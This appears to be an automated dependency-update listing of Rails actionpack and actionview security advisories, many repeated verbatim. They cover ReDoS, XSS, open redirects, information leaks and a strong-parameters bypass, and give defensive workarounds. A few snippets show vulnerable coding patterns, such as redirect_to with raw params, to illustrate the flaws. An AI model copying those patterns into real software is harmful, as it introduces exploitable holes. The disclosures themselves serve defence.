🚨 ReDoS based DoS vulnerability in Action Dispatch

There is a possible regular expression based DoS vulnerability in Action Dispatch related to the If-None-Match header. This vulnerability has been assigned the CVE identifier CVE-2023-22795.

Versions Affected: All Not affected: None Fixed Versions: 5.2.8.15 (Rails LTS), 6.1.7.1, 7.0.4.1

Impact

A specially crafted HTTP If-None-Match header can cause the regular expression engine to enter a state of catastrophic backtracking, when on a version of Ruby below 3.2.0. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

We recommend that all users upgrade to one of the FIXED versions. In the meantime, users can mitigate this vulnerability by using a load balancer or other device to filter out malicious If-None-Match headers before they reach the application.

Users on Ruby 3.2.0 or greater are not affected by this vulnerability.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Avoid-regex-backtracking-on-If-None-Match-header.patch - Patch for 6.1 series
7-0-Avoid-regex-backtracking-on-If-None-Match-header.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 Cross-site Scripting Vulnerability in Action Pack

There is a possible XSS vulnerability in Rails / Action Pack. This vulnerability has been
assigned the CVE identifier CVE-2022-22577.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1

Impact

CSP headers were only sent along with responses that Rails considered as
"HTML" responses. This left API requests without CSP headers, which could
possibly expose users to XSS attacks.

Releases

The FIXED releases are available at the normal locations.

Workarounds

Set a CSP for your API responses manually.

🚨 Cross-site Scripting Vulnerability in Action Pack

There is a possible XSS vulnerability in Rails / Action Pack. This vulnerability has been
assigned the CVE identifier CVE-2022-22577.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1

Impact

CSP headers were only sent along with responses that Rails considered as
"HTML" responses. This left API requests without CSP headers, which could
possibly expose users to XSS attacks.

Releases

The FIXED releases are available at the normal locations.

Workarounds

Set a CSP for your API responses manually.

🚨 Cross-site Scripting Vulnerability in Action Pack

There is a possible XSS vulnerability in Rails / Action Pack. This vulnerability has been
assigned the CVE identifier CVE-2022-22577.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1

Impact

CSP headers were only sent along with responses that Rails considered as
"HTML" responses. This left API requests without CSP headers, which could
possibly expose users to XSS attacks.

Releases

The FIXED releases are available at the normal locations.

Workarounds

Set a CSP for your API responses manually.

🚨 Cross-site Scripting Vulnerability in Action Pack

There is a possible XSS vulnerability in Rails / Action Pack. This vulnerability has been
assigned the CVE identifier CVE-2022-22577.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1

Impact

CSP headers were only sent along with responses that Rails considered as
"HTML" responses. This left API requests without CSP headers, which could
possibly expose users to XSS attacks.

Releases

The FIXED releases are available at the normal locations.

Workarounds

Set a CSP for your API responses manually.

🚨 Exposure of information in Action Pack

Impact

Under certain circumstances response bodies will not be closed, for example a bug in a webserver or a bug in a Rack middleware. In the event a response is not notified of a close, ActionDispatch::Executor will not know to reset thread local state for the next request. This can lead to data being leaked to subsequent requests, especially when interacting with ActiveSupport::CurrentAttributes.

Upgrading to the FIXED versions of Rails will ensure mitigation of this issue even in the context of a buggy webserver or middleware implementation.

Patches

This has been fixed in Rails 7.0.2.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.

Workarounds

Upgrading is highly recommended, but to work around this problem the following middleware can be used:
class GuardedExecutor < ActionDispatch::Executor
  def call(env)
    ensure_completed!
    super
  end

  private

    def ensure_completed!
      @executor.new.complete! if @executor.active?
    end
end

# Ensure the guard is inserted before ActionDispatch::Executor
Rails.application.configure do
  config.middleware.swap ActionDispatch::Executor, GuardedExecutor, executor
end

🚨 Exposure of information in Action Pack

Impact

Under certain circumstances response bodies will not be closed, for example a bug in a webserver or a bug in a Rack middleware. In the event a response is not notified of a close, ActionDispatch::Executor will not know to reset thread local state for the next request. This can lead to data being leaked to subsequent requests, especially when interacting with ActiveSupport::CurrentAttributes.

Upgrading to the FIXED versions of Rails will ensure mitigation of this issue even in the context of a buggy webserver or middleware implementation.

Patches

This has been fixed in Rails 7.0.2.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.

Workarounds

Upgrading is highly recommended, but to work around this problem the following middleware can be used:
class GuardedExecutor < ActionDispatch::Executor
  def call(env)
    ensure_completed!
    super
  end

  private

    def ensure_completed!
      @executor.new.complete! if @executor.active?
    end
end

# Ensure the guard is inserted before ActionDispatch::Executor
Rails.application.configure do
  config.middleware.swap ActionDispatch::Executor, GuardedExecutor, executor
end

🚨 Exposure of information in Action Pack

Impact

Under certain circumstances response bodies will not be closed, for example a bug in a webserver or a bug in a Rack middleware. In the event a response is not notified of a close, ActionDispatch::Executor will not know to reset thread local state for the next request. This can lead to data being leaked to subsequent requests, especially when interacting with ActiveSupport::CurrentAttributes.

Upgrading to the FIXED versions of Rails will ensure mitigation of this issue even in the context of a buggy webserver or middleware implementation.

Patches

This has been fixed in Rails 7.0.2.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.

Workarounds

Upgrading is highly recommended, but to work around this problem the following middleware can be used:
class GuardedExecutor < ActionDispatch::Executor
  def call(env)
    ensure_completed!
    super
  end

  private

    def ensure_completed!
      @executor.new.complete! if @executor.active?
    end
end

# Ensure the guard is inserted before ActionDispatch::Executor
Rails.application.configure do
  config.middleware.swap ActionDispatch::Executor, GuardedExecutor, executor
end

🚨 Exposure of information in Action Pack

Impact

Under certain circumstances response bodies will not be closed, for example a bug in a webserver or a bug in a Rack middleware. In the event a response is not notified of a close, ActionDispatch::Executor will not know to reset thread local state for the next request. This can lead to data being leaked to subsequent requests, especially when interacting with ActiveSupport::CurrentAttributes.

Upgrading to the FIXED versions of Rails will ensure mitigation of this issue even in the context of a buggy webserver or middleware implementation.

Patches

This has been fixed in Rails 7.0.2.2, 6.1.4.6, 6.0.4.6, and 5.2.6.2.

Workarounds

Upgrading is highly recommended, but to work around this problem the following middleware can be used:
class GuardedExecutor < ActionDispatch::Executor
  def call(env)
    ensure_completed!
    super
  end

  private

    def ensure_completed!
      @executor.new.complete! if @executor.active?
    end
end

# Ensure the guard is inserted before ActionDispatch::Executor
Rails.application.configure do
  config.middleware.swap ActionDispatch::Executor, GuardedExecutor, executor
end

🚨 actionpack Open Redirect in Host Authorization Middleware

Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

Impacted applications will have allowed hosts with a leading dot. For example, configuration files that look like this:
config.hosts <<  '.EXAMPLE.com'
When an allowed host contains a leading dot, a specially crafted Host header can be used to redirect to a malicious website.

This vulnerability is similar to CVE-2021-22881 and CVE-2021-22942.

Releases

The fixed releases are available at the normal locations.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-0-host-authorzation-open-redirect.patch - Patch for 6.0 series

6-1-host-authorzation-open-redirect.patch - Patch for 6.1 series

7-0-host-authorzation-open-redirect.patch - Patch for 7.0 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 actionpack Open Redirect in Host Authorization Middleware

Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

Impacted applications will have allowed hosts with a leading dot. For example, configuration files that look like this:
config.hosts <<  '.EXAMPLE.com'
When an allowed host contains a leading dot, a specially crafted Host header can be used to redirect to a malicious website.

This vulnerability is similar to CVE-2021-22881 and CVE-2021-22942.

Releases

The fixed releases are available at the normal locations.

Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-0-host-authorzation-open-redirect.patch - Patch for 6.0 series

6-1-host-authorzation-open-redirect.patch - Patch for 6.1 series

7-0-host-authorzation-open-redirect.patch - Patch for 7.0 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 Open Redirect in ActionPack

Overview

There is a possible open redirect vulnerability in the Host Authorization middleware in Action Pack. This vulnerability has been assigned the CVE identifier CVE-2021-22942.

Versions Affected: >= 6.0.0.
Not affected: < 6.0.0
Fixed Versions: 6.1.4.1, 6.0.4.1

Impact

Specially crafted “X-Forwarded-Host” headers in combination with certain “allowed host” formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

Impacted applications will have allowed hosts with a leading dot. For example, configuration files that look like this:
config.hosts <<  '.EXAMPLE.com'
When an allowed host contains a leading dot, a specially crafted Host header can be used to redirect to a malicious website.

This vulnerability is similar to CVE-2021-22881, but CVE-2021-22881 did not take in to account domain name case sensitivity.

Releases

The fixed releases are available at the normal locations.

Workarounds

In the case a patch can’t be applied, the following monkey patch can be used in an initializer:
module ActionDispatch
  class HostAuthorization
    HOSTNAME = /[a-z0-9.-]+|\[[a-f0-9]*:[a-f0-9.:]+\]/i
    VALID_ORIGIN_HOST = /\A(#{HOSTNAME})(?::\d+)?\z/
    VALID_FORWARDED_HOST = /(?:\A|,[ ]?)(#{HOSTNAME})(?::\d+)?\z/

    private
      def authorized?(request)
        origin_host =
          request.get_header("HTTP_HOST")&.slice(VALID_ORIGIN_HOST, 1) || ""
        forwarded_host =
          request.x_forwarded_host&.slice(VALID_FORWARDED_HOST, 1) || ""
        @permissions.allows?(origin_host) &&
          (forwarded_host.blank? || @permissions.allows?(forwarded_host))
      end
  end
end

🚨 Open Redirect in ActionPack

Overview

There is a possible open redirect vulnerability in the Host Authorization middleware in Action Pack. This vulnerability has been assigned the CVE identifier CVE-2021-22942.

Versions Affected: >= 6.0.0.
Not affected: < 6.0.0
Fixed Versions: 6.1.4.1, 6.0.4.1

Impact

Specially crafted “X-Forwarded-Host” headers in combination with certain “allowed host” formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

Impacted applications will have allowed hosts with a leading dot. For example, configuration files that look like this:
config.hosts <<  '.EXAMPLE.com'
When an allowed host contains a leading dot, a specially crafted Host header can be used to redirect to a malicious website.

This vulnerability is similar to CVE-2021-22881, but CVE-2021-22881 did not take in to account domain name case sensitivity.

Releases

The fixed releases are available at the normal locations.

Workarounds

In the case a patch can’t be applied, the following monkey patch can be used in an initializer:
module ActionDispatch
  class HostAuthorization
    HOSTNAME = /[a-z0-9.-]+|\[[a-f0-9]*:[a-f0-9.:]+\]/i
    VALID_ORIGIN_HOST = /\A(#{HOSTNAME})(?::\d+)?\z/
    VALID_FORWARDED_HOST = /(?:\A|,[ ]?)(#{HOSTNAME})(?::\d+)?\z/

    private
      def authorized?(request)
        origin_host =
          request.get_header("HTTP_HOST")&.slice(VALID_ORIGIN_HOST, 1) || ""
        forwarded_host =
          request.x_forwarded_host&.slice(VALID_FORWARDED_HOST, 1) || ""
        @permissions.allows?(origin_host) &&
          (forwarded_host.blank? || @permissions.allows?(forwarded_host))
      end
  end
end

🚨 Possible DoS Vulnerability in Action Controller Token Authentication

There is a possible DoS vulnerability in the Token Authentication logic in Action Controller.

Versions Affected: >= 4.0.0
Not affected: < 4.0.0
Fixed Versions: 6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6

Impact

Impacted code uses authenticate_or_request_with_http_token or authenticate_with_http_token for request authentication. Impacted code will look something like this:
class PostsController < ApplicationController
  before_action :authenticate

  private

  def authenticate
    authenticate_or_request_with_http_token do |token, options|
      # ...
    end
  end
end
All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch placed in an initializer can be used to work around the issue:
module ActionController::HttpAuthentication::Token
  AUTHN_PAIR_DELIMITERS = /(?:,|;|\t)/
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-http-authentication-dos.patch - Patch for 5.2 series

6-0-http-authentication-dos.patch - Patch for 6.0 series

6-1-http-authentication-dos.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!

🚨 Possible DoS Vulnerability in Action Controller Token Authentication

There is a possible DoS vulnerability in the Token Authentication logic in Action Controller.

Versions Affected: >= 4.0.0
Not affected: < 4.0.0
Fixed Versions: 6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6

Impact

Impacted code uses authenticate_or_request_with_http_token or authenticate_with_http_token for request authentication. Impacted code will look something like this:
class PostsController < ApplicationController
  before_action :authenticate

  private

  def authenticate
    authenticate_or_request_with_http_token do |token, options|
      # ...
    end
  end
end
All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch placed in an initializer can be used to work around the issue:
module ActionController::HttpAuthentication::Token
  AUTHN_PAIR_DELIMITERS = /(?:,|;|\t)/
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-http-authentication-dos.patch - Patch for 5.2 series

6-0-http-authentication-dos.patch - Patch for 6.0 series

6-1-http-authentication-dos.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!

🚨 Possible Open Redirect Vulnerability in Action Pack

There is a possible Open Redirect Vulnerability in Action Pack.

Versions Affected: >= v6.1.0.rc2
Not affected: < v6.1.0.rc2
Fixed Versions: 6.1.3.2

Impact

This is similar to CVE-2021-22881. Specially crafted Host headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious
website.

Since 9bc7ea5, strings in config.hosts that do not have a leading dot are converted to regular expressions without proper escaping. This causes, for example, config.hosts << "sub.example.com" to permit a request with a Host header value of sub-example.com.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch put in an initializer can be used as a workaround.
class ActionDispatch::HostAuthorization::Permissions
  def sanitize_string(host)
    if host.start_with?(".")
      /\A(.+\.)?#{Regexp.escape(host[1..-1])}\z/i
    else
      /\A#{Regexp.escape host}\z/i
    end
  end
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-1-open-redirect.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thanks Jonathan Hefner (https://hackerone.com/jonathanhefner) for reporting this bug!

🚨 Denial of Service in Action Dispatch

Impact

There is a possible Denial of Service vulnerability in Action Dispatch. Carefully crafted Accept headers can cause the mime type parser in Action Dispatch to do catastrophic backtracking in the regular expression engine.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch placed in an initializer can be used to work around the issue.
module Mime
  class Type
    MIME_REGEXP = /\A(?:\*\/\*|#{MIME_NAME}\/(?:\*|#{MIME_NAME})(?>\s*#{MIME_PARAMETER}\s*)*)\z/
  end
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-0-Prevent-catastrophic-backtracking-during-mime-parsin.patch - Patch for 6.0 series

6-1-Prevent-catastrophic-backtracking-during-mime-parsin.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thanks to Security Curious security...@pm.me for reporting this!

🚨 Denial of Service in Action Dispatch

Impact

There is a possible Denial of Service vulnerability in Action Dispatch. Carefully crafted Accept headers can cause the mime type parser in Action Dispatch to do catastrophic backtracking in the regular expression engine.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch placed in an initializer can be used to work around the issue.
module Mime
  class Type
    MIME_REGEXP = /\A(?:\*\/\*|#{MIME_NAME}\/(?:\*|#{MIME_NAME})(?>\s*#{MIME_PARAMETER}\s*)*)\z/
  end
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-0-Prevent-catastrophic-backtracking-during-mime-parsin.patch - Patch for 6.0 series

6-1-Prevent-catastrophic-backtracking-during-mime-parsin.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thanks to Security Curious security...@pm.me for reporting this!

🚨 Action Pack contains Information Disclosure / Unintended Method Execution vulnerability

Impact

There is a possible information disclosure / unintended method execution vulnerability in Action Pack when using the redirect_to or polymorphic_url helper with untrusted user input.

Vulnerable code will look like this.
redirect_to(params[:some_param])
All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

To work around this problem, it is recommended to use an allow list for valid parameters passed from the user. For example,
private def check(param)
  case param
  when "valid"
    param
  else
    "/"
  end
end

def index
  redirect_to(check(params[:some_param]))
end
Or force the user input to be cast to a string like this,
def index
  redirect_to(params[:some_param].to_s)
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-information-disclosure.patch - Patch for 5.2 series

6-0-information-disclosure.patch - Patch for 6.0 series

6-1-information-disclosure.patch - Patch for 6.1 series

Please note that only the 5.2, 6.0, and 6.1 series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thanks to Benoit Côté-Jodoin from Shopify for reporting this.

🚨 Action Pack contains Information Disclosure / Unintended Method Execution vulnerability

Impact

There is a possible information disclosure / unintended method execution vulnerability in Action Pack when using the redirect_to or polymorphic_url helper with untrusted user input.

Vulnerable code will look like this.
redirect_to(params[:some_param])
All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

To work around this problem, it is recommended to use an allow list for valid parameters passed from the user. For example,
private def check(param)
  case param
  when "valid"
    param
  else
    "/"
  end
end

def index
  redirect_to(check(params[:some_param]))
end
Or force the user input to be cast to a string like this,
def index
  redirect_to(params[:some_param].to_s)
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-information-disclosure.patch - Patch for 5.2 series

6-0-information-disclosure.patch - Patch for 6.0 series

6-1-information-disclosure.patch - Patch for 6.1 series

Please note that only the 5.2, 6.0, and 6.1 series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thanks to Benoit Côté-Jodoin from Shopify for reporting this.

🚨 Action Pack contains Information Disclosure / Unintended Method Execution vulnerability

Impact

There is a possible information disclosure / unintended method execution vulnerability in Action Pack when using the redirect_to or polymorphic_url helper with untrusted user input.

Vulnerable code will look like this.
redirect_to(params[:some_param])
All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

To work around this problem, it is recommended to use an allow list for valid parameters passed from the user. For example,
private def check(param)
  case param
  when "valid"
    param
  else
    "/"
  end
end

def index
  redirect_to(check(params[:some_param]))
end
Or force the user input to be cast to a string like this,
def index
  redirect_to(params[:some_param].to_s)
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-information-disclosure.patch - Patch for 5.2 series

6-0-information-disclosure.patch - Patch for 6.0 series

6-1-information-disclosure.patch - Patch for 6.1 series

Please note that only the 5.2, 6.0, and 6.1 series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thanks to Benoit Côté-Jodoin from Shopify for reporting this.

🚨 Action Pack contains Information Disclosure / Unintended Method Execution vulnerability

Impact

There is a possible information disclosure / unintended method execution vulnerability in Action Pack when using the redirect_to or polymorphic_url helper with untrusted user input.

Vulnerable code will look like this.
redirect_to(params[:some_param])
All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

To work around this problem, it is recommended to use an allow list for valid parameters passed from the user. For example,
private def check(param)
  case param
  when "valid"
    param
  else
    "/"
  end
end

def index
  redirect_to(check(params[:some_param]))
end
Or force the user input to be cast to a string like this,
def index
  redirect_to(params[:some_param].to_s)
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-information-disclosure.patch - Patch for 5.2 series

6-0-information-disclosure.patch - Patch for 6.0 series

6-1-information-disclosure.patch - Patch for 6.1 series

Please note that only the 5.2, 6.0, and 6.1 series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thanks to Benoit Côté-Jodoin from Shopify for reporting this.

🚨 Possible DoS Vulnerability in Action Controller Token Authentication

There is a possible DoS vulnerability in the Token Authentication logic in Action Controller.

Versions Affected: >= 4.0.0
Not affected: < 4.0.0
Fixed Versions: 6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6

Impact

Impacted code uses authenticate_or_request_with_http_token or authenticate_with_http_token for request authentication. Impacted code will look something like this:
class PostsController < ApplicationController
  before_action :authenticate

  private

  def authenticate
    authenticate_or_request_with_http_token do |token, options|
      # ...
    end
  end
end
All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch placed in an initializer can be used to work around the issue:
module ActionController::HttpAuthentication::Token
  AUTHN_PAIR_DELIMITERS = /(?:,|;|\t)/
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-http-authentication-dos.patch - Patch for 5.2 series

6-0-http-authentication-dos.patch - Patch for 6.0 series

6-1-http-authentication-dos.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!

🚨 Possible DoS Vulnerability in Action Controller Token Authentication

There is a possible DoS vulnerability in the Token Authentication logic in Action Controller.

Versions Affected: >= 4.0.0
Not affected: < 4.0.0
Fixed Versions: 6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6

Impact

Impacted code uses authenticate_or_request_with_http_token or authenticate_with_http_token for request authentication. Impacted code will look something like this:
class PostsController < ApplicationController
  before_action :authenticate

  private

  def authenticate
    authenticate_or_request_with_http_token do |token, options|
      # ...
    end
  end
end
All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch placed in an initializer can be used to work around the issue:
module ActionController::HttpAuthentication::Token
  AUTHN_PAIR_DELIMITERS = /(?:,|;|\t)/
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-http-authentication-dos.patch - Patch for 5.2 series

6-0-http-authentication-dos.patch - Patch for 6.0 series

6-1-http-authentication-dos.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!

🚨 Cross-site scripting in actionpack

In actionpack gem >= 6.0.0, a possible XSS vulnerability exists when an application is running in development mode allowing an attacker to send or embed (in another page) a specially crafted URL which can allow the attacker to execute JavaScript in the context of the local application. This vulnerability is in the Actionable Exceptions middleware.

Workarounds

Until such time as the patch can be applied, application developers should disable the Actionable Exceptions middleware in their development environment via a line such as this one in their config/environment/development.rb: config.middleware.delete ActionDispatch::ActionableExceptions

🚨 Actionpack Open Redirect Vulnerability

The Host Authorization middleware in Action Pack before 6.1.2.1, 6.0.3.5 suffers from an open redirect vulnerability. Specially crafted Host headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

🚨 Actionpack Open Redirect Vulnerability

The Host Authorization middleware in Action Pack before 6.1.2.1, 6.0.3.5 suffers from an open redirect vulnerability. Specially crafted Host headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

🚨 Untrusted users can run pending migrations in production in Rails

There is a vulnerability in versions of Rails prior to 6.0.3.2 that allowed an untrusted user to run any pending migrations on a Rails app running in production.

This vulnerability has been assigned the CVE identifier CVE-2020-8185.

Versions Affected: 6.0.0 < rails < 6.0.3.2
Not affected: Applications with config.action_dispatch.show_exceptions = false (this is not a default setting in production)
Fixed Versions: rails >= 6.0.3.2

Impact

Using this issue, an attacker would be able to execute any migrations that are pending for a Rails app running in production mode. It is important to note that an attacker is limited to running migrations the application developer has already defined in their application and ones that have not already run.

Workarounds

Until such time as the patch can be applied, application developers should disable the ActionDispatch middleware in their production environment via a line such as this one in their config/environment/production.rb:

config.middleware.delete ActionDispatch::ActionableExceptions

🚨 Possible Strong Parameters Bypass in ActionPack

There is a strong parameters bypass vector in ActionPack.

Versions Affected: rails <= 6.0.3
Not affected: rails < 5.0.0
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact

In some cases user supplied information can be inadvertently leaked from
Strong Parameters. Specifically the return value of each, or each_value,
or each_pair will return the underlying "untrusted" hash of data that was
read from the parameters. Applications that use this return value may be
inadvertently use untrusted user input.

Impacted code will look something like this:
def update
  # Attacker has included the parameter: `{ is_admin: true }`
  User.update(clean_up_params)
end

def clean_up_params
   params.each { |k, v|  SomeModel.check(v) if k == :name }
end
Note the mistaken use of each in the clean_up_params method in the above
example.

Workarounds

Do not use the return values of each, each_value, or each_pair in your
application.

🚨 Ability to forge per-form CSRF tokens in Rails

It is possible to, given a global CSRF token such as the one present in the authenticity_token meta tag, forge a per-form CSRF token for any action for that session.

Impact

Given the ability to extract the global CSRF token, an attacker would be able to construct a per-form CSRF token for that session.

Workarounds

This is a low-severity security issue. As such, no workaround is necessarily until such time as the application can be upgraded.

🚨 Possible Strong Parameters Bypass in ActionPack

There is a strong parameters bypass vector in ActionPack.

Versions Affected: rails <= 6.0.3
Not affected: rails < 5.0.0
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact

In some cases user supplied information can be inadvertently leaked from
Strong Parameters. Specifically the return value of each, or each_value,
or each_pair will return the underlying "untrusted" hash of data that was
read from the parameters. Applications that use this return value may be
inadvertently use untrusted user input.

Impacted code will look something like this:
def update
  # Attacker has included the parameter: `{ is_admin: true }`
  User.update(clean_up_params)
end

def clean_up_params
   params.each { |k, v|  SomeModel.check(v) if k == :name }
end
Note the mistaken use of each in the clean_up_params method in the above
example.

Workarounds

Do not use the return values of each, each_value, or each_pair in your
application.

🚨 Ability to forge per-form CSRF tokens in Rails

It is possible to, given a global CSRF token such as the one present in the authenticity_token meta tag, forge a per-form CSRF token for any action for that session.

Impact

Given the ability to extract the global CSRF token, an attacker would be able to construct a per-form CSRF token for that session.

Workarounds

This is a low-severity security issue. As such, no workaround is necessarily until such time as the application can be upgraded.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ actionview (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Security Advisories 🚨

🚨 rails-ujs vulnerable to DOM Based Cross-site Scripting contenteditable HTML Elements

NOTE: rails-ujs is part of Rails/actionview since 5.1.0.

There is a potential DOM based cross-site scripting issue in rails-ujs
which leverages the Clipboard API to target HTML elements that are
assigned the contenteditable attribute. This has the potential to
occur when pasting malicious HTML content from the clipboard that
includes a data-method, data-remote or data-disable-with attribute.

This vulnerability has been assigned the CVE identifier CVE-2023-23913.

Not affected: < 5.1.0
Versions Affected: >= 5.1.0
Fixed Versions: 6.1.7.3, 7.0.4.3

Impact
If the specified malicious HTML clipboard content is provided to a
contenteditable element, this could result in the arbitrary execution
of javascript on the origin in question.

Releases
The FIXED releases are available at the normal locations.

Workarounds
We recommend that all users upgrade to one of the FIXED versions.
In the meantime, users can attempt to mitigate this vulnerability
by removing the contenteditable attribute from elements in pages
that rails-ujs will interact with.

Patches
To aid users who aren’t able to upgrade immediately we have provided
patches for the two supported release series. They are in git-am
format and consist of a single changeset.

rails-ujs-data-method-contenteditable-6-1.patch - Patch for 6.1 series

rails-ujs-data-method-contenteditable-7-0.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are
supported at present, and 6.0.Z for severe vulnerabilities.

Users of earlier unsupported releases are advised to upgrade as
soon as possible as we cannot guarantee the continued availability
of security fixes for unsupported releases.

Credits
We would like to thank ryotak 15 for reporting this!

rails-ujs-data-method-contenteditable-6-1.patch (8.5 KB)

rails-ujs-data-method-contenteditable-7-0.patch (8.5 KB)

